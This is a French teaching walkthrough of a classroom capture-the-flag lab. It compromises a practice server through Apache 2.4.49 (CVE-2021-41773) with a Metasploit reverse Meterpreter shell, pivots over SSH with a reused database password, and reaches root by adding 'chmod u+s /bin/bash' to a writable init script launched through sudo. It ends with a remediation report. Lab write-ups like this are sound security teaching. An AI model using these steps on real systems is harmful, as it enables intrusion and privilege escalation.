LABORATOIRE CTF 2026

CTF 4 · Camelot

La quête d'Excalibur

Conteneur : menu « ordre » n°58 (ctf_creer.sh), choix CTF4 · énoncé d'origine remis en forme le 07/10/2026, captures d'écran reprises sans retouche.

Avant de commencer. Ce document ne contient aucune adresse réseau réelle : il doit pouvoir servir dans n'importe quelle salle. Deux notations reviennent partout, remplacez-les au fur et à mesure.

— **${TARGET_IP}** : l'adresse IP de la machine cible. Votre professeur vous la communique ; elle est la même pendant tout le lab.

— **${MON_IP}** : l'adresse IP de VOTRE machine Kali. Pour la connaître : `ip -br addr show`.

Exemple concret. Si votre professeur vous donne la cible `192.0.2.25`, alors `ping ${TARGET_IP}` se tape `ping 192.0.2.25` — jamais `ping $192.0.2.25`, ni `ping [192.0.2.25]`, ni `ping TARGET_IP`. De même, `ssh utilisateur@${TARGET_IP}` se tape avec le VRAI identifiant que vous avez trouvé, par exemple `ssh alice@192.0.2.25` — jamais `ssh user@....` L'adresse 192.0.2.25 n'est qu'un exemple : la vôtre sera différente.

« Host key verification failed » : ce n'est pas une panne. Au premier contact avec une machine, SSH affiche son empreinte et vous demande de confirmer : répondez `yes` en toutes lettres — ni `y`, ni `o`, ni `oui`, sinon SSH refuse après trois essais. Si vous aviez déjà accepté cette adresse lors d'un CTF précédent, vous verrez à la place un avertissement `REMOTE HOST IDENTIFICATION HAS CHANGED!` et SSH refusera sans rien demander. C'est normal et voulu : la machine cible a été remplacée par celle du CTF suivant — même adresse, mais identité cryptographique différente. SSH a mémorisé l'ancienne dans `~/.ssh/known_hosts` et vous prévient que son interlocuteur a changé, exactement comme si quelqu'un se faisait passer pour le serveur. Pour repartir, effacez l'ancienne empreinte puis reconnectez-vous et répondez `yes` :

```
ssh-keygen -R ${TARGET_IP}
```

Réflexe professionnel : cette alerte ne se contourne qu'APRÈS avoir compris pourquoi la clé a changé. Ici vous le savez : la machine a été recréée. En entreprise, la même alerte peut signaler une attaque par interposition — on ne la balaie jamais d'un `ssh-keygen -R` sans se poser de question.

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Contexte de la mission

Un historien passionné par les légendes arthuriennes a créé un site web dédié à Camelot, au Roi Arthur et aux chevaliers de la Table Ronde. Fervent défenseur de l'histoire, il a voulu créer son site lui-même sans faire appel à des professionnels.

Admirant son travail, vous décidez d'effectuer un audit de sécurité bienveillant pour l'aider à sécuriser son infrastructure.

> Audit de sécurité : C'est comme être un "cambrioleur éthique" - vous cherchez les failles de sécurité AVANT qu'un vrai pirate ne les trouve !

Votre mission : Infiltrer le système, escalader vos privilèges, et récupérer les deux flags cachés :

— Flag www-data : Accessible après l'intrusion initiale

— Flag root : Le Saint Graal, accessible uniquement avec les privilèges administrateur

Ce que vous allez apprendre

— Reconnaissance : Scanner un réseau pour identifier les services vulnérables

— Recherche de vulnérabilités : Trouver des exploits publics

— Exploitation : Utiliser Metasploit Framework (l'outil des pros !)

— Post-exploitation : Naviguer dans un système compromis

— Escalade de privilèges : Passer d'utilisateur simple à administrateur

— Pensée d'attaquant : Comprendre comment pensent les hackers

Concepts de base à connaître

Qu'est-ce qu'un exploit ?

Un exploit est un programme qui profite d'une faille de sécurité dans un logiciel.

Analogie : Imaginez une maison avec une fenêtre mal fermée. Un exploit, c'est la technique pour ouvrir cette fenêtre et entrer.

Qu'est-ce qu'une CVE ?

CVE = "Common Vulnerabilities and Exposures" (Vulnérabilités et Expositions Communes)

C'est un numéro d'identification unique donné à chaque faille de sécurité découverte. Par exemple : CVE-2021-41773.

Analogie : C'est comme un numéro de série pour une faille de sécurité, permettant à tout le monde de parler de la même vulnérabilité.

Étape 1 : Reconnaissance - Découvrir la cible

Pourquoi cette étape ?

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Avant d'attaquer, il faut observer. On va scanner le serveur cible pour savoir :

— Quels services tournent ? (Apache, SSH, etc.)

— Quelles versions ? (Apache 2.4.49, OpenSSH 8.0, etc.)

— Quels ports sont ouverts ? (80 pour HTTP, 22 pour SSH, etc.)

Analogie : C'est comme un cambrioleur qui observe une maison avant d'y entrer - il regarde les fenêtres, les portes, les systèmes d'alarme...

L'outil : Nmap

Nmap est le couteau suisse du hacker éthique. Il permet de scanner les réseaux et découvrir les machines, services et vulnérabilités.

Commande

```
nmap -sV -sC -p- ${TARGET_IP}
```

Attention : Remplacez ${TARGET_IP} par l'adresse IP de votre machine cible

Décryptage de la commande

Optio

Signification Pourquoi c'est utile

n

```
-sV
```

Détecte les versions des services

On saura précisément quelle version d'Apache tourne

```
-sC
```

Utilise les scripts par défaut de nmap

Recherche automatique de vulnérabilités connues

```
-p-
```

Scanne tous les 65535 ports Ne rate aucun service caché

Résultat attendu

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1

80/tcp open http Apache httpd 2.4.49

Ce qu'on apprend

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

— Port 22 : SSH (connexion à distance) est ouvert

— Port 80 : Serveur web Apache version 2.4.49

> Point clé : La version Apache 2.4.49 est notre cible ! Cette version a une faille connue.

Étape 2 : Recherche de vulnérabilités

Pourquoi cette étape ?

Maintenant qu'on connaît la version d'Apache (2.4.49), on va chercher si des exploits publics existent pour cette version.

Analogie : C'est comme chercher sur Internet "comment ouvrir une serrure de marque XYZ modèle 2.4.49" - quelqu'un a peut-être déjà trouvé la technique !

L'outil : SearchSploit

SearchSploit est une base de données d'exploits. Elle contient des milliers d'exploits pour différentes versions de logiciels.

> Exploit-DB : C'est comme la bibliothèque d'Alexandrie des hackers - toutes les vulnérabilités connues y sont répertoriées !

Commande

```
searchsploit apache 2.4.49
```

Pourquoi "apache 2.4.49" ?

On cherche précisément la version découverte par nmap. Les exploits sont très spécifiques à chaque version !

Résultat attendu

Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)

Ce qu'on découvre

Path Traversal : Permet d'accéder à des fichiers normalement interdits (comme

```
/etc/passwd)
```

> **Attention :** Remote Code Execution (RCE) : Permet d'exécuter des commandes sur le serveur !

> CVE-2021-41773 : Le numéro d'identité de cette vulnérabilité

Explication pédagogique : Le lien SearchSploit Metasploit

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Question : Pourquoi chercher dans SearchSploit si on va utiliser Metasploit après ?

Réponse : SearchSploit montre qu'une vulnérabilité existe. Metasploit va nous permettre de l'exploiter facilement.

Les deux outils travaillent sur la même CVE (CVE-2021-41773) mais ont des rôles différents :

— SearchSploit = Découverte

— Metasploit = Action

> **NB :** Pourquoi Metasploit est préféré :

1. Plus stable et testé

— 2. Shell Meterpreter (très puissant)

— 3. C'est l'outil des professionnels

— 4. Automatise beaucoup d'étapes

Étape 3 : Exploitation avec Metasploit Framework

Pourquoi Metasploit ?

Metasploit Framework est LE couteau suisse du pentester professionnel. C'est l'outil le plus utilisé dans le monde de la cybersécurité.

> **NB :** Pentester = Testeur de pénétration = Hacker éthique qui cherche les failles de sécurité

Pourquoi l'apprendre ?

— Utilisé par les pros dans le monde entier

— Automatise l'exploitation de vulnérabilités

— Indispensable dans votre futur métier !

Qu'est-ce qu'on va faire ?

— 1. Lancer Metasploit

— 2. Choisir le bon "module" (l'exploit pour Apache 2.4.49)

— 3. Configurer les paramètres (IP cible, IP attaquant)

— 4. Lancer l'attaque

— 5. Obtenir un shell Meterpreter (accès à distance au serveur)

Lancement de Metasploit

```
msfconsole -q
```

> **NB :** -q = "quiet" (silencieux) - démarre sans afficher la longue bannière ASCII

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Vous devriez voir : msf6 >

Configuration du module d'exploitation

1 Charger le module Apache

use exploit/multi/http/apache_normalize_path_rce

Décryptage :

— exploit/ = C'est un module d'exploitation

— multi/http/ = Fonctionne sur plusieurs OS, via HTTP

— apache_normalize_path_rce = Le nom de la vulnérabilité

Vous devriez voir : msf6 exploit(multi/http/apache_normalize_path_rce) >

2 Configurer les paramètres

Concept important : Pour exploiter une vulnérabilité, il faut dire à Metasploit :

— Où est la cible (IP du serveur Apache)

— Où vous êtes (votre IP Kali)

— Comment exploiter (quelle CVE utiliser)

Configuration de l'IP cible

set RHOSTS ${TARGET_IP}

NB : RHOSTS = "Remote Hosts" (Machines distantes) = L'IP de votre cible

Configuration du port

set RPORT 80

NB : 80 = Port HTTP standard (pages web)

Désactiver SSL

set SSL false

NB : Le site est en HTTP, pas HTTPS (pas de chiffrement)

Configuration de votre IP (attaquant)

set LHOST ${MON_IP}

IMPORTANT : Remplacez par VOTRE vraie IP Kali !

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

NB : Comment trouver votre IP ?

```
ip addr show | grep "inet " | grep -v 127
```

NB : LHOST = "Local Host" = Votre machine (là où le shell reviendra)

Configurer le chemin cible

set TARGETURI /cgi-bin

NB : /cgi-bin = Répertoire où Apache exécute des scripts (point d'entrée de la faille)

Choisir la CVE

set CVE CVE-2021-41773

NB : On cible précisément cette vulnérabilité

3 Vérifier la configuration

show options

Que fait cette commande ?

Elle affiche tous les paramètres configurés. Vérifiez que tout est correct avant de lancer l'attaque !

Points à vérifier :

— RHOSTS = IP de la cible

— RPORT = 80

— SSL = false

— LHOST = Votre vraie IP Kali

— CVE = CVE-2021-41773

4 Lancer l'exploit !

exploit

Que va-t-il se passer ?

— 1. Metasploit vérifie si la cible est vulnérable

— 2. Envoie l'exploit (le code malveillant)

— 3. Ouvre une connexion reverse (le serveur se connecte à vous !)

— 4. Vous donne un shell Meterpreter (contrôle total du serveur)

Résultat attendu

[*] Started reverse TCP handler on ${MON_IP}:4444

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

[+] http://${TARGET_IP}:80 - The target is vulnerable to CVE-2021-41773

[*] Sending stage...

[*] Meterpreter session 1 opened

meterpreter >

Si vous voyez meterpreter >

BRAVO ! Vous êtes connecté au serveur !

Concept clé : Le Reverse Shell

Qu'est-ce qu'un reverse shell ?

Normalement : Vous connectez Serveur Reverse shell : Serveur connecte Vous !

Pourquoi ?

— Contourne les pare-feux (qui bloquent les connexions entrantes)

— Plus difficile à détecter

— Technique standard en pentesting

Analogie : Au lieu que vous appeliez le serveur, c'est le serveur qui vous appelle !

Étape 4 : Shell Meterpreter - Premiers pas

Qu'est-ce que Meterpreter ?

Meterpreter est un shell avancé créé par Metasploit. C'est comme une télécommande ultra-puissante pour contrôler le serveur !

Avantages :

— Invisible (ne laisse pas de traces dans l'historique)

— Chiffré (difficile à détecter)

— Beaucoup de commandes intégrées

Vérification de votre identité

getuid

Que fait cette commande ?

Elle affiche qui vous êtes sur le serveur compromis.

Résultat attendu : Server username: www-data

> www-data : C'est l'utilisateur qui fait tourner le serveur web Apache. Vous avez les mêmes droits que le serveur web.

Informations système

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

sysinfo

Que fait cette commande ?

Affiche les infos sur le système :

— Nom de la machine

— Système d'exploitation

— Architecture (32/64 bits)

Pourquoi c'est utile ? Pour adapter vos prochaines attaques au système !

Obtenir un shell système

shell

Que fait cette commande ?

Passe de Meterpreter à un shell système classique (bash).

Pourquoi ? Meterpreter est puissant, mais parfois on a besoin d'un shell traditionnel pour certaines commandes.

Résultat attendu :

Process 1234 created.

Channel 1 created.

> **NB :** Vous êtes maintenant dans un shell bash basique (mais peu pratique pour l'instant)

Étape 5 : Stabilisation du shell

Pourquoi stabiliser ?

Le shell de base a des problèmes :

— Pas de prompt visible

— Pas d'autocomplétion (Tab ne marche pas)

— Ctrl + C ferme le shell !

— Pas de commandes interactives (nano, su, etc.)

Solution : Utiliser Python pour créer un vrai terminal interactif

Concept : PTY (Pseudo-Terminal)

Un PTY simule un vrai terminal. C'est comme transformer une vieille calculatrice en ordinateur !

Commande de stabilisation

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

Décryptage

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Partie Explication

```
python3 -c
```

Exécute du code Python en une ligne

```
import pty
```

Importe le module PTY (Pseudo-Terminal)

```
pty.spawn("/bin/b
```

Lance un vrai shell bash dans un terminal

```
ash")
```

Résultat attendu

Vous devriez maintenant voir un prompt :

www-data@CTF4-EtudiantXX-excalibur:/quelque/part$

Vous avez maintenant un shell interactif fonctionnel !

Note pédagogique

Cette technique est STANDARD en pentesting. Tous les professionnels l'utilisent. Vous la retrouverez dans tous les CTF et missions réelles !

Étape 6 : Énumération - La chasse au trésor commence !

Qu'est-ce que l'énumération ?

Énumération = Explorer le système pour trouver des informations utiles :

— Fichiers intéressants

— Mots de passe

— Utilisateurs

— Services vulnérables

Analogie : Vous êtes dans la maison, maintenant vous fouillez les tiroirs pour trouver le coffre-fort !

Recherche du premier flag

```
find / -type f -name "*flag*" 2>/dev/null | grep -v proc
```

Décryptage de la commande

Partie Explication

```
find /
```


© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Cherche depuis la racine (tout le système)

```
-type f
```

Uniquement les fichiers (pas les dossiers)

```
-name
```

Nom contenant "flag"

```
"*flag*"
2>/dev/null
```

Cache les erreurs (permissions refusées)

```
grep -v
```

Ignore les fichiers système /proc

```
proc
```

Pourquoi cette technique ?

En CTF, les flags sont souvent dans des fichiers avec "flag" dans le nom. C'est une technique d'énumération classique.

Fichiers découverts

/etc/flag_camelot.txt

/sys/devices/.../flags (fichiers système, ignorez-les)

Lecture du flag

```
cat /etc/flag_camelot.txt
```

Premier flag trouvé !

FLAG{CAMELOT-XX-XXXXXXXXXXXX}

BRAVO ! Vous avez trouvé le premier flag !

> Notez-le : Ce flag est unique à votre numéro d'étudiant.

Concept : Pourquoi deux flags ?

Explication

— FLAG 1 (www-data) : Prouve que vous avez compromis le serveur web

— FLAG 2 (root) : Prouve que vous avez obtenu les privilèges administrateur

C'est comme deux coffres-forts :

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

— Le premier est accessible (www-data)

— Le second nécessite la clé maîtresse (root)

Étape 7 : Énumération des utilisateurs

Pourquoi cette étape ?

On cherche maintenant un utilisateur normal du système. Si on trouve son mot de passe, on pourra se connecter en SSH et avoir un meilleur accès !

Consultation de /etc/passwd

```
cat /etc/passwd | grep -v "nologin"
```

Qu'est-ce que /etc/passwd ?

C'est un fichier qui liste tous les utilisateurs du système Linux.

```
grep -v "nologin" = Affiche seulement les vrais utilisateurs (pas les
comptes système)
```

Découverte importante

lancelot:x:1000:1000::/home/lancelot:/bin/bash

Ce qu'on apprend

— Utilisateur : lancelot

— Dossier personnel : /home/lancelot

— Shell : /bin/bash (peut se connecter)

Réflexion stratégique : Lancelot est un utilisateur normal. Si on trouve son mot de passe, on pourra se connecter en SSH !

Étape 8 : Découverte d'un fichier SQL - Le trésor caché

Pourquoi chercher des fichiers SQL ?

Les fichiers SQL contiennent souvent :

— Mots de passe

— Bases de données

> **NB :** ● Indices pour progresser

Analogie : C'est comme trouver un carnet de codes secrets !

Recherche de fichiers SQL

```
find / -name "*.sql" 2>/dev/null
```


© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Décryptage

— -name "*.sql" = Tous les fichiers se terminant par .sql

Fichier découvert

/etc/mysql/graal.sql

> Graal : Référence au Saint Graal de la légende arthurienne !

Lecture du fichier

```
cat /etc/mysql/graal.sql
```

OU pour voir juste le début :

```
head -20 /etc/mysql/graal.sql
```

Découverte CRITIQUE !

-- Utilisateur Mordred (le traître)

CREATE USER 'mordred'@'localhost' IDENTIFIED BY 'XXXXXXXXXXXXXXXX';

Mordred, le fils traître d'Arthur dans la légende, possède un mot de passe !

Extraction du mot de passe

```
cat /etc/mysql/graal.sql | grep "IDENTIFIED BY"
```

Que fait cette commande ?

```
grep "IDENTIFIED BY" = Cherche la ligne contenant le mot de passe dans
le fichier
```

SQL

Mot de passe trouvé !

Notez-le précieusement !

Concept clé : La réutilisation de mots de passe

Vulnérabilité humaine n°1

Les gens réutilisent leurs mots de passe ! C'est une très mauvaise pratique de sécurité.

Hypothèse : Et si l'administrateur a utilisé le même mot de passe pour :

— La base de données (Mordred) ?

— Le compte système (Lancelot) ?

Stratégie d'attaquant : On va tester ce mot de passe sur le compte SSH de lancelot !

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Étape 9 : Pivot SSH - Changer d'identité

Qu'est-ce qu'un pivot ?

Pivoter = Changer d'utilisateur pour avoir plus de droits ou de possibilités.

Analogie : Vous êtes entré par la fenêtre (www-data), maintenant vous trouvez les clés de la porte d'entrée (lancelot) !

Sortie du shell Meterpreter

Dans le shell système :

exit

Dans Meterpreter :

exit

Vous êtes de retour dans votre terminal Kali.

Tentative de connexion SSH

```
ssh lancelot@${TARGET_IP}
```

Qu'est-ce que SSH ?

SSH = "Secure Shell" = Connexion à distance sécurisée

> **NB :** C'est comme ouvrir une porte avec une clé (le mot de passe)

Mot de passe : Celui trouvé dans graal.sql

Résultat attendu

lancelot@CTF4-EtudiantXX-excalibur:~$

Succès !

Le mot de passe a été réutilisé ! Vous êtes maintenant connecté en tant que lancelot, un utilisateur légitime du système.

Leçon de sécurité

— Bonne pratique : Un mot de passe différent par service Mauvaise pratique : Réutiliser le même mot de passe partout

Étape 10 : Analyse des privilèges sudo

Qu'est-ce que sudo ?

```
sudo = "Super User DO" = Exécuter des commandes en tant
qu'administrateur (root)
```


© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Analogie : C'est comme avoir un passe pour accéder aux zones réservées.

Concept : Le principe du moindre privilège

Les administrateurs donnent parfois des permissions limitées avec sudo pour que les utilisateurs puissent faire certaines tâches sans être root.

Problème : Si mal configuré, ça devient une faille de sécurité !

Vérification des permissions sudo

```
sudo -l
```

Que fait cette commande ?

Liste tout ce que lancelot peut exécuter avec sudo (droits administrateur).

Résultat attendu

User lancelot may run the following commands:

(ALL) NOPASSWD: /usr/sbin/service excalibur restart

Analyse critique

Ce qu'on découvre :

— Lancelot peut redémarrer le service excalibur

— Sans mot de passe (NOPASSWD)

— Avec les droits root !

Réflexion d'attaquant

Question : Que se passe-t-il quand on redémarre un service ? Réponse : Le système exécute un script !

Question : Et si ce script était modifiable ? Réponse : On pourrait injecter notre propre code qui s'exécutera en root !

C'est notre vecteur d'attaque pour devenir root !

Étape 11 : Vérification du vecteur d'attaque

Qu'est-ce qu'un vecteur d'attaque ?

C'est le chemin que l'attaquant emprunte pour compromettre un système.

Analogie : Si le système est un château, le vecteur d'attaque est le tunnel secret pour entrer.

Inspection du script de service

```
ls -l /etc/init.d/excalibur
```

Que fait cette commande ?

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

```
ls -l = Liste détaillée avec les permissions du fichier
```

Résultat attendu

-rwxr-xr-x 1 lancelot lancelot 456 Oct 15 10:30 /etc/init.d/excalibur

Analyse des permissions

Partie Signification

```
-rwxr-xr-x
```

Permissions du fichier

```
lancelot
```

Propriétaire : lancelot

```
lancelot
```

Décomposition des permissions

-rwxr-xr-x

| | | | | | | | | |

| | | | | | | | └─ Autres : peuvent exécuter (x)

| | | | | | | └── Autres : peuvent lire (r)

| | | | | | └─── Autres : ne peuvent pas écrire (-)

| | | | | └──── Groupe : peut exécuter (x)

| | | | └───── Groupe : peut lire (r)

| | | └────── Groupe : ne peut pas écrire (-)

| | └─────── Propriétaire : peut exécuter (x)

| └──────── Propriétaire : peut écrire (w) CRITIQUE !

└───────── Propriétaire : peut lire (r)

FAILLE DE SÉCURITÉ IDENTIFIÉE !

— Le fichier appartient à lancelot

— Lancelot peut modifier ce fichier (w = write)

— Ce fichier s'exécute en root quand on fait sudo service excalibur restart

Conclusion : On peut injecter du code malveillant qui s'exécutera en root !

Étape 12 : Injection de code malveillant

Qu'est-ce qu'une injection de code ?

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

C'est l'ajout de notre propre code dans un programme légitime pour qu'il fasse ce qu'on veut.

Analogie : C'est comme glisser une fausse instruction dans la recette de cuisine du chef - quand il suivra la recette, il fera aussi votre action !

Notre objectif

Ajouter une commande qui rend /bin/bash SUID (Set User ID).

Concept : SUID (Set User ID)

Un fichier SUID s'exécute avec les droits de son propriétaire (root) au lieu des droits de celui qui le lance.

Exemple :

— bash sans SUID : Vous restez vous-même

— bash avec SUID root : Vous devenez root temporairement !

Analogie : C'est comme si vous mettiez le badge du PDG - les portes s'ouvrent pour vous comme si vous étiez le PDG !

Vérification préalable

```
ls -la /bin/bash
```

Que cherche-t-on ?

On vérifie si bash a déjà le bit SUID (il ne devrait pas).

Résultat actuel :

-rwxr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash

Pas de s Pas de SUID Normal pour l'instant

Modification du script

```
nano /etc/init.d/excalibur
```

Qu'est-ce que nano ?

Nano est un éditeur de texte simple en ligne de commande.

> Raccourcis nano :

— Ctrl + O : Sauvegarder

— Ctrl + X : Quitter

— Ctrl + K : Couper une ligne

La ligne magique à ajouter

Ajoutez cette ligne juste après le bloc ### END INIT INFO :

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

```
chmod u+s /bin/bash
```

Décryptage de la commande

Partie Explication

```
chmod
```

Change les permissions

```
u+s
```

Ajoute le bit SUID (u = user, s = SUID)

```
/bin/ba
```

Sur le fichier bash

```
sh
```

ATTENTION CRITIQUE !

Question piège : Quelle est la différence entre ces deux lignes ?

```
chmod u+s /bin/bash CORRECT
```

chmod u + s /bin/bash INCORRECT

Réponse : Le symbole # en bash signifie commentaire !

Si vous mettez # devant, la ligne ne sera jamais exécutée - ce serait juste une note pour les humains !

Leçon importante

En programmation :

— chmod u + s /bin/bash = Code qui s'exécute

— # chmod u + s /bin/bash = Commentaire (ignoré)

Exemple complet du fichier modifié

```
#!/bin/bash
```

BEGIN INIT INFO

Provides: excalibur

Required-Start: $local_fs $network

Required-Stop: $local_fs

Default-Start: 2 3 4 5

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Default-Stop: 0 1 6

Short-Description: Service Excalibur

END INIT INFO

```
chmod u+s /bin/bash
```

/usr/local/bin/excalibur.sh "$@"

Sauvegarder

— Appuyez sur Ctrl + O (sauvegarder)

— Appuyez sur Entrée (confirmer)

— Appuyez sur Ctrl + X (quitter)

Étape 13 : Activation du piège

Que va-t-il se passer ?

Quand on va redémarrer le service avec sudo, notre ligne chmod u+s /bin/bash va s'exécuter en tant que root !

Rechargement de systemd (si nécessaire)

Si vous voyez un warning systemd, tapez :

```
sudo systemctl daemon-reload
```

Qu'est-ce que systemd ?

Systemd est le gestionnaire de services sur Linux moderne. Il faut parfois lui dire "relis les fichiers, ils ont changé".

Redémarrage du service

```
sudo /usr/sbin/service excalibur restart
```

Ce qui se passe en coulisses

1. Vous lancez la commande avec sudo (droits root)

2. Le système lit /etc/init.d/excalibur

3. Il exécute votre ligne : chmod u+s /bin/bash 4. bash devient SUID root !

Vérification du piège

```
ls -la /bin/bash
```

Résultat attendu

-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

Le 's' remplace le 'x' !

SUCCÈS !

Le s à la place du x signifie que le bit SUID est activé !

> **NB :** Bash s'exécutera maintenant avec les droits de son propriétaire : root !

Étape 14 : Devenir root - L'apothéose

Le moment de vérité

On va maintenant exploiter le SUID bash pour obtenir un shell root !

Exploitation du SUID bash

/bin/bash -p

Décryptage

Partie Explication

```
/bin/ba
```

Lance bash

```
sh
-p
```

"Priviledged" = Préserve les privilèges SUID

Concept : Pourquoi le -p ?

Sans -p, bash "abandonne" les privilèges par sécurité.

Avec -p, bash garde les privilèges du propriétaire (root) !

Vérification

```
id
```

Résultat attendu

uid=1000(lancelot) gid=1000(lancelot) euid=0(root) groups=1000(lancelot)

Analyse du résultat

Valeur Signification

```
uid=10
```

Votre vrai ID (lancelot)

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

```
00
euid=0
```

ID effectif = root !

NB : euid = "Effective User ID" = L'identité active en ce moment

VOUS ÊTES ROOT !

```
euid=0 signifie que vous avez maintenant TOUS les privilèges
administrateur !
```

Étape 15 : Le Saint Graal - Flag Root

Recherche du flag root

```
find /root -type f -name "*.txt" 2>/dev/null
```

Pourquoi chercher dans /root ?

```
/root est le dossier personnel de l'administrateur. C'était inaccessible
avant, mais
```

maintenant que vous êtes root...

Fichiers trouvés

/root/flag_root.txt

/root/excalibur_legend.txt

Lecture du flag

```
cat /root/flag_root.txt
```

Le Saint Graal !

FLAG{DRAGON-XX-XXXXXXXXXXXX}

MISSION ACCOMPLIE !

Ce que vous avez accompli

— 1. Reconnaissance : Découvert Apache 2.4.49 vulnérable

— 2. Recherche : Trouvé la CVE-2021-41773 avec SearchSploit

— 3. Exploitation : Utilisé Metasploit comme un pro

— 4. Shell Meterpreter : Obtenu un accès distant

— 5. Stabilisation : Créé un shell interactif

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

— 6. Énumération : Trouvé le flag www-data
— 7. Pivot : Réutilisation de mot de passe pour SSH
— 8. Analyse : Identifié la faille sudo
— 9. Exploitation SUID : Injection de code
— 10. Root : Obtenu les privilèges administrateur
— 11. Victoire : Capturé les deux flags !

Concepts de sécurité appris

Vulnérabilités exploitées

— 1. Logiciel obsolète : Apache 2.4.49 avec CVE publique
— 2. Réutilisation de mots de passe : Même mot de passe SQL et SSH
— 3. Mauvaise configuration sudo : Service modifiable par utilisateur
— 4. Permissions de fichiers : Script système modifiable
— 5. Absence de monitoring : Personne n'a détecté l'intrusion

Bonnes pratiques à retenir

— 1. Mettre à jour ses logiciels régulièrement
— 2. Mots de passe uniques par service
— 3. Principe du moindre privilège (permissions minimales)
— 4. Audit régulier des permissions fichiers
— 5. Monitoring et détection d'intrusion
— 6. Segmentation réseau (limiter les accès)

Rapport d'audit pour l'historien

Vulnérabilités CRITIQUES découvertes

1. Apache 2.4.49 obsolète (CRITIQUE)

— Risque : Prise de contrôle totale du serveur
— Solution : Mettre à jour vers Apache 2.4.51 minimum
— Urgence : Immédiate

2. Réutilisation de mots de passe (HAUTE)

— Risque : Compromission en cascade
— Solution : Utiliser un gestionnaire de mots de passe
— Urgence : Immédiate

3. Configuration sudo dangereuse (HAUTE)

— Risque : Escalade de privilèges
— Solution : Revoir les permissions sudo

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne

— Urgence : Haute

4. Permissions fichiers incorrectes (HAUTE)

— Risque : Modification de scripts système

— Solution : Script appartenant à root uniquement

— Urgence : Haute

Questions de réflexion

Pour approfondir votre compréhension

1. Pourquoi la réutilisation de mots de passe est-elle si dangereuse ?

— Que se passe-t-il si un service est compromis ?

2. Qu'est-ce que le principe du "moindre privilège" ?

— Pourquoi ne pas donner tous les droits à tout le monde ? 3. Comment aurait-on pu empêcher l'exploitation du service excalibur ?

— Quelles permissions aurait-il fallu mettre ? 4. Pourquoi mettre à jour ses logiciels est-il si important ?

— Que se passe-t-il quand une CVE est publiée ? 5. Qu'est-ce qu'un bon mot de passe ?

— Longueur ? Complexité ? Unicité ? 6. Pourquoi Metasploit est-il l'outil des professionnels ?

— Quels avantages par rapport à un exploit brut ? 7. Qu'est-ce qu'un reverse shell et pourquoi c'est efficace ?

— Comment ça contourne les pare-feux ?

© Damien SCONTRINO · professeur BTS SIO, lycée Louis Armand, Nogent-sur-Marne